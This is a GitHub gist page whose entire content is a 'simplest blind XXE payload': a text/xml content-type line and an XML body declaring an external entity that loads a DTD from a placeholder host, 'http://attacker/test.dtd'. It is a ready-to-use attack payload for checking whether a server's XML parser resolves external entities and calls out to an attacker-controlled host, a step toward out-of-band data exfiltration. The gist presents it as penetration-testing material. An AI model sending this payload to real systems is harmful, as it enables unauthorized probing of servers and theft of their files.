Skip to content

Instantly share code, notes, and snippets.

@AmesianX
Forked from mgeeky/blind-xxe-payload-1.txt
Created March 23, 2021 22:11
Show Gist options
  • Save AmesianX/ce2ba7f864531eb7e01192966df0d070 to your computer and use it in GitHub Desktop.
Save AmesianX/ce2ba7f864531eb7e01192966df0d070 to your computer and use it in GitHub Desktop.
Simplest Blind XXE Payload to test within HTML request
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxetestd [<!ENTITY xxetest SYSTEM "http://attacker/test.dtd">]><foo>&xxetest;</foo>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment